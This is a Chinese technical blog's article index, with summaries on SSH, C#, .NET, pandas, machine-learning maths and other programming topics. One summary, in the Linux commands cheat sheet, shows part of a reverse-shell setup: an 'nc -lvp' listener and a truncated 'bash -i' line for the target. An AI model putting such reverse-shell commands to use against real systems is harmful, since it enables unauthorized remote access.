自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

郝伟老师的博客——大数据、并行计算与人工智能时代

博客精神:厚积薄发 追求原创 深入浅出 乐于分享

  • 博客(550)
  • 资源 (9)
  • 收藏
  • 关注

原创 本博客导读(2021/08/09更新)

文章目录算法分析类C#程序设计类Java开发方法与工具Linux性能测试LatexPython其他算法分析类用蛮力法解决埃及分数问题用蛮力法求圆周率PI使用Java抓取指定CSDN博文的文章信息使用Java 抓取 CSND 中指定博主的所有文章列表Java多线程安全的三大特性之原子性利用哈夫曼树进行编码压缩一个完整的Java版的分数类递归算法经典示例之斐波那契数列黑白帽子问题(...

2019-07-15 05:40:54 1179

原创 【实战】三种方法彻底有效地解决SSH的 Write failed: Broken pipe 问题

本文通过实战经验结合原理分析,总结了三种行之有效的方法,并经过大量读者验证,确实能够彻底解决Write failed: Broken pipe问题。在使用SSH连接远程服务器的时候,如果长时间不操作,再次进入 Terminal 时就会有卡死一段时间没有响应。等待一段时间以后,会发现以下错误提示:Write failed: Broken pipe,表示连接管道已经断开,所以只能重进行连接。本文提供了三种办法彻底解决此问题。

2019-02-13 13:39:24 50906

原创 使用BeautifulSoup对头条收藏的HTML数据进行分析

本文介绍了一种基于BeautifulSoup的数据分析技术(不是爬虫),通过使用Python的BeautifulSoup模块对今日头条中的收集页面下载后,对基HTML中的4类信息进行分析和导出。文章以图文并茂的形式介绍了整个提取过程,并添加了大量文字解释、相关参考资料和源代码。本文对有今日头条数据提取需求的朋友有极大的帮助,欢迎阅读和分享。

2022-10-06 11:27:07 1102 1

原创 常见开源协议横向对比

软件开发协议经常看到的内容,但是很多人不知道协议的具体内容,甚至连最基本的概念也没有。因此,本文对协议的概念、常见协议进行介绍,并横向对比。以便大家更好地理解这些协议。

2022-06-27 08:41:14 2296

原创 深度理解 C# 中的 for 和 foreach

很多人认为,在C#中 `for` 和 `foreach` 功能是一样的,`foreach` 顶多就是比 `for` 要更方便一些。但是实际上真的是这样吗?在本文中,让我们通过一个实例来理解其底层的工作原理。

2022-06-15 15:50:30 5031 2

原创 中国到底有多少大学生?

网上关于中国大学生人数的数字很多,且数字非常混乱,故作者对数字进行考证。秉承科学的态度,本人结合国家统计局官网或官方正式媒体发布的数字,查得历年高考人数、录取人数并整理。

2022-05-23 16:53:51 14396 1

原创 示例说明多线程的两组概念:串行VS并行 和 并发VS顺发

网上关于并发(Concurrent)、并行(Parallel)和串行(Sequential),而且各种的解释大多不是很清楚,而且还有一些基于是错误的。本文就这几个概述概念通过一个具体的实例进行解释。

2022-05-11 08:13:17 888

原创 使用TaskFactory类实现MapReduce功能

在多线程编程中,MapReduce是最为常用的一种模型。在C#中有TaskFactory类,可以实现此功能。本文就通过一个实例,介绍具体的工作原理。同时,还引入了CancellationTokenSource类,用于中止整个MapReduce任务。

2022-05-07 08:34:51 803

原创 C#8.0中System.Index和System.Range的本质论

对数组或集合的引用都要使用索引,为了进一步规范对索引的使用,从C#8.0开始,提供了两个新的只读结构体 `System.Index` 和 `System.Range`,本文从本质上介绍这两个类的具体内容和原理。

2022-05-03 17:48:46 913

原创 VS Code错误 “preloads: Could not find renderer” 解决办法

VS Code错误 “preloads: Could not find renderer” 解决办法

2022-04-08 11:58:54 6748 3

原创 在 Linux(Ubuntu 18)下运行 .NET 6 程序

从.Net core 开始,微软就实现了.Net的跨平台能力。在本文中,笔者使用Ubuntu 18.04.6 LTS上运行一个测试项目,以演示Linux下.Net6.0 的编译方法。

2022-02-23 06:36:47 5575 1

原创 【性能测试】使用自定义程序对CPU的程序运行性能进行测试

现在市面上可用的CPU的性能测试有很多,比如CPUZ, GeekBench, 鲁大师等。这些工具从不同的角度对CPU的性能进行测试评价,我们可以使用这些工具对CPU的性能有一定的了解。但是,对于一名开发人员来说,CPU的性能对程序的性能影响到底是怎样的,事实上并没有哪款软件以为这个目的服务的。因此,本文就通过一个求质数的Java代码对CPU的性能进行测试。通过这个程序,可以对 CPU执行Java程序的性能影响有初步的认识。

2022-02-13 21:28:07 2071

原创 【给力】.Net5.0 跨平台的计算性能已经与Java持平

本文对.Net5.0和Java在Macbook M1 Pro上进行性能测试,发现两者性能几乎相同。

2022-02-10 23:00:45 611

原创 SQL Server数据库全表统计:每一张表有多少行记录

简介在拿到一张新数据库时,我们需要查看数据的基本情况,如果一张张表看的话,效率会很低,我们可以使用 一条SQL统计出所有表中的记录行数。示例代码SELECT TOP(10) schema_name(systable.schema_id) as TableSchema, systable.name as TableName, sysids.rows as NumberOfRowsFROM sys.tables as systable, sysindexes as sysids WHERE

2021-12-17 10:04:30 4880

原创 首次运行.Net6.0程序注意事项

前言转眼.Net6.0已经发布,对应的开发平台VS2022和C#10都相继发布。首先运行程序时遇到了一些问题,记录不上下来,以便经验备忘。错误在编写了HelloWorld程序后,在没有安装.Net6的机器上运行则会报错,如下图所示。解决首先访问以下地址:https://dotnet.microsoft.com/download/dotnet/6.0/runtime?utm_source=getdotnetcore&utm_medium=referral打开后如图所示。特别注意,现

2021-11-24 15:01:38 4182

原创 Linux常用命令使用经验汇总

2021/02/04 一行代码统计不同代码的行数,字母数和字符数for file in *.cpp *.java *.cs; do find -name $file | xargs -I {} wc {}; done修改为:for file in *.cpp *.java *.cs; do find -name $file | xargs wc ; done还会带有第一项的统计功能,且速度也更快2020/12/07 A创建B的反弹Shell本机:nc -lvp 8102目标:bash -i

2021-11-01 15:57:53 365

原创 亲测有效的CredSSP的解决方法

问题描述在使用Windows自带的远程桌面连接远程主机时,很多朋友都遇到过如下的报错:网上有很多解决办法,结果尝试了都不行。后来终于从微软官方找到解决方法,在此进行分享。问题原因首先,我们要理解产生这些问题的原因是什么。简单的说就是微软加强了对远程连接的安全认证,导致没有打安全补丁的主机(注:家庭版同样也受限)无法使用远程桌面。具体来说,假定现在有A和B两台主机,A要远程连接B,如果有一端已经升级了安全补丁,则会报这个错误。解决方法问题的根本原因是之前远程桌面不加密,结果就有人利用这个漏洞(漏

2021-10-23 15:23:59 10832 2

原创 使用pandas就要多用数组计算而不是循环计算

前言在处理数组数据时,传统的思维是使用循环。这本是很常规的操作,但是当我们在使用Pandas时(注:其实本质上还是numpy),使用其自身的计算方式会有极大的性能优势。下面我们来看这样的一个示例。示例在本示例中,我们对一个包括10条数据的模板(包括id和score两个字段)进行1万次复制,复制完成后合并成一个单独的DataFrame,总数据量为10万行。由于模板中的id取值是0,1,2…,9,所以在复制以后,会有大量的重复的0-9的id。为了保证id的唯一性,现在重新对id进行统一编码,值的范围为0,

2021-10-20 09:40:24 293

原创 如何将本地项目文件夹推送至远程Git

需求描述现有文件夹 project 包括了项目所有代码文件,但是没有作用git进行代码管理。而在远程有仓库 http://gitee.com/user/project.git,里面也有project文件夹,其中本地的 project 要新于远程的,那么如何将本地的 project 推送至远程并建立远程服务器关联关系呢?问题解决问题的解决有两种方案,一种是强制将本地的project推送至远程服务器。但是是这种方式可能会出现未知的问题,且不会记录中间过程,所以不推荐。推荐使用另一种变通的方式,如下:使

2021-10-19 14:35:23 289

翻译 为什么要使用WebAssembly?

文章目录1 概述2 定义3 目标4 优势5 缺点参考文献1 概述WebAssembly 是一种新的网络计算机编程语言。 WebAssembly 代码是一种低级二进制格式,它与 Web 兼容并且可以轻松地在现代 Web 浏览器中运行。生成的文件很小,加载和执行速度更快。您现在可以将 C、C++、Rust 等语言编译为二进制格式,并且可以像 javascript 一样在 Web 上运行。2 定义根据 WebAssembly 的官方网站(可在 https://webassembly.org/ 获得),它被

2021-08-25 09:18:49 568

原创 在C#中将Base64编码的WOFF字符串转OTF字体并动态加载

文章目录项目需求第1步 Base64 转 二进制字节第2步:WOFF 格式转 OTF第3步:动态加载字体小结项目需求在某项目中有这样后个需求:有些字体使用了内嵌的Base64格式表示,如下所示:d09GRgABAAAAAEDwAA0AAAAAW7QAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABPUy8yAAABMAAAAGAAAABgE1VYZWNtYXAAAAGQAAAArgAABGYx/DcfY3Z0IAAAAkAAAAZEAAAH2v4w3vBmcGdtAAAIhAAAA6IA

2021-08-16 09:02:04 30051

原创 Python中日志记录方法

简介在任何工程项目中,日志都是必不可少的内容。在Python语言中,有自带的日志库也有第三方的日志库,或者我们可以自己定义写日志的函数。本文提供了两种方式,以便于用户选择。自定义方法写日志实际上就是要将当前的状态写到文件中,同时对相关信息,如时间函数名称等进行补充。如果自己写函数需要进行相同的操作,核心代码如下所示。自定义的函数没有系统功能多,但是在某些功能上更加强大,推荐中小型项目使用。比如:可以追加更多的信息,比如process的父进程名称,或者追加其他信息如项目名称,作者名称等;可以对消

2021-08-07 08:42:23 1577 1

原创 安装MikTex并成功编译中文PPT模板详细过程

1 简介本文以图文并貌的方式详细介绍了在全新的环境中安装MikTex支持中文,并成功编译PPT的整个流程。通过本文的阅读,能够在一定程序上解决LaTeX下中文显示及PPT编译的问题。2 安装MikTex首先,下载MikText(官网下载页面)。安装过程略,正常安装下一步即可。3 编译打开TexWorks,然后输入以下内容,再编译。\documentclass[UTF8]{ctexart}\author{UNION}\title{这是一个测试}\begin{document}\maketi

2021-06-16 07:44:11 2349 1

原创 pandas读取CSV文件注意事项

前言本文是给使用pandas的新手而写,主要列出一些常见的问题,根据笔者所踩过的坑,进行归纳总结,希望对读者有所帮助。示例文件将以下内容保存为文件 people.csv。id,姓名,性别,出生日期,出生地,职业,爱好1,张小三,m,1992-10-03,北京,工程师,足球2,李云义,m,1995-02-12,上海,程序员,读书 下棋3,周娟,女,1998-03-25,合肥,护士,音乐,跑步4,赵盈盈,Female,2001-6-32,,学生,画画5,郑强强,男,1991-03-05,南京(

2021-06-14 20:55:35 6581 4

原创 深入理解人工智能模型能力指标F1的具体意义

文章目录简介示例结论简介在对人工智能训练能力水平评估的标准中,准确性(Accuracy),精准度(Precision),召回率(Recall)和 综合指标 F1。 三前者相对比较好理解,基具体定义如下:准确率(ACC):(TP+TN)/(TP+FP+TN+FN)精准率(PRE):TP / (TP + FN)召回率(REC):TP / (TP + TN)但是F1的定义相对复杂一些,定义如下:F1=21PRE+1RECF1 = \frac2 {\frac1{PRE} + \frac1{REC

2021-05-16 15:21:57 3795 3

原创 一个自建的Java命令行解析参数类ArgumentsParser

文章目录1 简介2 参数格式定义3 类功能介绍3.1 初始化3.2 主要函数4 源代码5 输出结果6 小结1 简介在前文中,介绍了一个Python中的 argparse.ArgumentParser 类,能够实现对命令行输入参数的控制。搜索了一下,发现在Java中并没有提供相应的类。因此,为了在Java实现类似的功能,本文编写了一种用于处理main函数中的输入参考 String[] args 的类 ArgumentsParser。2 参数格式定义首先,对参数进行定义。一般而言,命令行中的输入参数通用

2021-05-09 11:46:48 665 1

原创 argparse.ArgumentParser 快速上手

在控制台程序中,一条命令会有大量的参数,可以使用 -h 进行帮助,比如 ssh -h 查看ssh 的帮助,可以看到如下内容:C:\Users\hwaus>ssh -hunknown option -- husage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface] [-b bind_address] [-c cipher_spec] [-D [bind_address:]port] [-E

2021-04-24 12:15:47 1080 1

原创 一分钟理解SoftMax函数

前言SoftMax函数是常用的一个机器学习中的函数,网上的解释很多,你看到的可能是这样的。如果你不是搞学术的,或者数学基础不是那么好,那么我要告诉你:千万不要看!千万不要看!!千万不要看!!!或者是这样的:因为这些内容不仅让人难以理解,而且容易对于初学者还会造成一定的误区。本文以示例和代码进行解释,非常简单直白式,让读者能够快速理解。一分钟示例请从头到尾认真阅读本节,只要你认真看完成了,1分钟即可理解SoftMax函数。解释:给定三个变量 x1=5,x2=−3,x3=0.8x_1=5

2021-04-19 14:17:13 1171

原创 [论文解读] 自然语言处理:基于深度学习的知识表示学习研究进展(研究综述)

论文简介0.1 文章信息论文题目:知识表示学习研究进展 Knowledge Representation Learning: A Review发表级别:计算机研究与发展 ›› 2016, Vol. 53 ›› Issue (2): 247-260.作者列表:刘知远,孙茂松,林衍凯,谢若冰作者单位:清华大学计算机科学与技术系简介页面:链接下载地址:链接0.2 摘要人们构建的知识库通常被表示为网络形式,节点代表实体,连边代表实体间的关系。在网络表示形式下,人们需要设计专门的图算法存储和利用知识

2021-04-18 08:49:08 749

原创 梯度下降计实例计算(三维)

简介在文章 1中,介绍了一维函数进行梯度下降的示例。在本文中,我们将介绍二维的梯度下降。函数定义已经函数 z=f(x,y)=(x−4)2+(y−4)2=x2+y2−8x−8y+32z=f(x, y) = (x-4)^2 + (y - 4)^2=x^2+y^2-8x-8y+32z=f(x,y)=(x−4)2+(y−4)2=x2+y2−8x−8y+32。方向导数分别为zzz的xxx偏导数: ∂z∂x=2x−8\frac{\partial z}{\partial x} = 2x-8∂x∂z​=2x−8

2021-03-29 08:29:47 1780 2

原创 在C#中使用嵌入的资源

前言在一些应用场合,我们希望将一些资源嵌入到程序中,然后在使用的时候再提取出来写到本地文件中,本文就介绍其主要实现方法。主要步骤具体过程共有三包,分别是添加文件、设置属性和写入本地文件。第1步:添加文件这将就是直接在VS的项目管理器,将需要添加的资源文件添加到项目中即可。本文使用了一个名为 “template.xlsx” 的Excel模板。第2步:设置属性这里我们需要设置一个重要的属性:生成操作,将其设置为“嵌入的资源”即可,如下所示。第3步:添加写到本地的代码这步就是最终的目标,即将程

2021-03-24 07:21:48 3310

原创 梯度下降计实例计算(二维)

梯度下降计实例计算(二维)文章目录内容简介示例说明绘制曲线进一步讨论参考资料内容简介梯度下降是在机器学习中重要的计算内容。本文就一个具体的示例,展示如何在梯度下降中。示例说明设损失函数 y=loss(x)=(x−4)2y=loss(x)=(x-4)^2y=loss(x)=(x−4)2,令此函数的导数为g(x)=y′=loss′(x)=2x−8g(x)=y'=loss'(x)=2x-8g(x)=y′=loss′(x)=2x−8。 在一般情况下,如果可以得到g(x)g(x)g(x),那么只要解出 g(

2021-03-21 14:13:39 2453 1

原创 Python中的两种函数可变长度参数类型:*args, **kwargs

文章目录1 简介2 问题3 分析4 示例扩展5 小结1 简介在Python的函数定义中, 我们可以看到有类似 fun(v1, *args, **wkargs) 这样的内容,其中*args, **wkargs 到底指什么,本文将通过一个实例进行简介。2 问题回答*args, **kwargs 到底指什么之前,我们先看这样一个问题:假设有这样的一个函数:fun('test', id=1035, name="Jack", birthday='1992/03/12', sex='m', height='1

2021-03-15 15:48:02 1224 2

原创 非常详细的Series核心操作使用详解

文章目录简介1 创建1.1 通过字典操作1.2 通过numpy数组创建1.3 通过标量创建2 数据访问2.1 通过下标访问2.2 通过索引访问2.3 通过切片访问2.4 布尔变量访问3 索引操作根据数据分组3.1 索引属性3.2 访问索引4 基本操作4.1 添加数据4.2 删除数据4.3 修改数据4.4 查看数据4.5 重建索引4.6 数据对齐5 数据统计5.1 功能介绍5.2 代码演示6 注意事项参考简介Pandas是非常强大的二维数组操作库。而二维库是由多个一级的series组成,它具有以下内容:

2021-03-08 11:34:38 4261 1

原创 一道100个飞机乘客随机坐座位的趣味概率问题

题目如下所示分析题目初看觉得很难用概率学的计算公式来解决,但是对于计算机专业的我们来说,可以方便地使用计算机模拟来解决。这又是一道蒙特卡罗求解算法。我们只要模拟每一次实验,然后执行多次求结果即可。代码实现验证代码使用Python完成。import randomdef onetest(): available_seats = [i for i in range(100)] arrangement = {} for i in range(100): pos

2021-03-04 11:56:35 1248 3

原创 通过统计7万多真实人名生成可信的随机人名

简介随机生成人名有很多应用场景,比如数据库系统学习,网络攻防等。为了生成真实可信的人名,本文通过对约7.1万真实的人名进行频率学习,统计出最常用的100个姓,100个男名和100个女名(均为双字),然后通过随机提取姓和名的组合,可以生成看上去非常真实的姓名,比如:注:如果需要更多的真实人名信息,可以与我联系(18815694732)。---------------------------------男名---------------------------------赵 杰,姜子豪,马 龙,蔡兵

2021-02-21 09:22:03 3710

原创 一行命令统计出多个文件夹中的多种类型的代码行数

问题现在有这些文件夹,里面有不类类型的文件,包括Java,C#和C++。如果我们想知识中间的代码行数应该如何完成呢?drwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200105_MemorySpeedTestdrwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200411_EmbededEncryptiondrwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200412_EncryptTestdrwxrw

2021-02-05 07:30:52 384

原创 实验验证二项分布(Binomial)公式正确性

1 实验目的本次实验主要是通过随机生成的符合Binomial分布的随机数,以验证其概率计算公式的正确性,其公式定义如下:P(X∣n,k)=(kn)pk(1−p)(n−k)P(X|n,k) = (_k^n)p^k(1-p)^{(n-k)}P(X∣n,k)=(kn​)pk(1−p)(n−k)其中,(kn)=Cnk=n(n−1)(n−2)...(n−k)=n!k!(n−k)!(_k^n)=C_n^k=n(n-1)(n-2)...(n-k)=\frac{n!}{k!(n-k)!}(kn​)=Cnk​=n(

2021-02-02 11:45:14 1350

原创 [论文研读] 2021A01 知识图谱在小米的应用与探索

文章目录1 文章介绍2 应用场景:智能问答3 实现流程与原理3.1 语音识别模块3.2 意图识别模块3.3 实体查询模块3.4 实体推荐模块4 三大关键技术4.1 实体链接:根据特征与实体模板进行关联。4.2 知识整合4.3 自动化构建技术5 其他技术参考数据1 文章介绍知识图谱在小米的应用与探索,作者为小米公司的彭力(小米公司),发表在开放知识图谱公众号, 日期为 2020.11.18。作者彭力,ID小米AI Lab知识图谱高级软件工程师,参与IEEE p2807知识图谱的标准制定;在小米主要负责知识

2021-01-16 13:00:53 660

原创 手工编译运行Servlet程序

手工编译运行Servlet程序2020/11/01 郝伟 参考 https://www.runoob.com/servlet/servlet-first-example.htmlStep 1: 编写Java类 MyServlet.java首先,MyServlet 类需要从 HttpServlet 派生,并实现 doGet 函数。import java.io.*;import javax.servlet.*;import javax.servlet.http.*;public class My

2021-01-10 07:20:10 706

Svg2Xaml.zip

一个能够将SVG文件转换为XAML格式以便WPF程序显示的控制台程序。命令使用格式为:Svg2XamlDemo.exe c:\data\input.svg,则会生成对应的XAML文件 c:\data\input.xaml

2021-08-16

一个用于对PDF文件拆分合并的DOS工具Pdf.rar

能够对PDF文件按页进行拆分合并等操作。

2019-10-12

ThreadTestDemo2.rar

C#的多线程有多个状态和多个操作函数,本示例主要目的是为了测试C#中线程的主要状态和操作函数调用关联。

2019-09-05

汉诺塔算法带UI动画显示

汉诺塔 (又称河内塔)问题是源于印度一个古老传说的益智玩具。大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘。大梵天命令婆罗门把圆盘从下面开始按大小顺序重新摆放在另一根柱子上。并且规定,在小圆盘上不能放大圆盘,在三根柱子之间一次只能移动一个圆盘。

2019-05-27

猜数字游戏的C#实现(带界面)

游戏规则 游戏的目的是猜中计算机随机生成的4位数,猜数字的规则如下: 1. 每次玩家可以输入4个不同的数字进行猜测; 2. 计算机返回猜测结果,包括以下三种情况: 情况1:数字正常,位置也正确,则为A类,如 情况2:数字正确,但是位置不正确,则为B类 情况3:数字和位置都不对,则没猜中。 举例:假设4位数字为3259,以下输入分别为: 3580 -> 1A1B,因为3属于情况1,5属于情况2,所以A和B均为1; 1346 -> 0A1B,因为只有3属于情况2; 0184 -> 0A0B, 情况3. 当返回为4A0B时,表示全部猜中,游戏结束。

2019-05-26

BinaryViewer.rar

Binary Viewer,一款简单易用的二进制查看工具。

2019-05-18

一个非常轻便好用的C#气泡弹出提示框控件

一个非常轻便好用的C#气泡弹出提示框控件。有源代码和示例(VS2015)。

2019-02-18

wget for Windows

Windows下使用的wget(亲测可用)。体积小使用简单。语法: wget -P D:\website http://www.xdown.com wget -O "D:\a.zip" http://www.xdown.com/a.zip

2019-01-13

itextsharp.dll

支持PDF中文转换的C#可用的动态链接库。相应使用方法可以参见以下网址: https://blog.csdn.net/weixin_43145361/article/details/84785741

2018-12-04

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除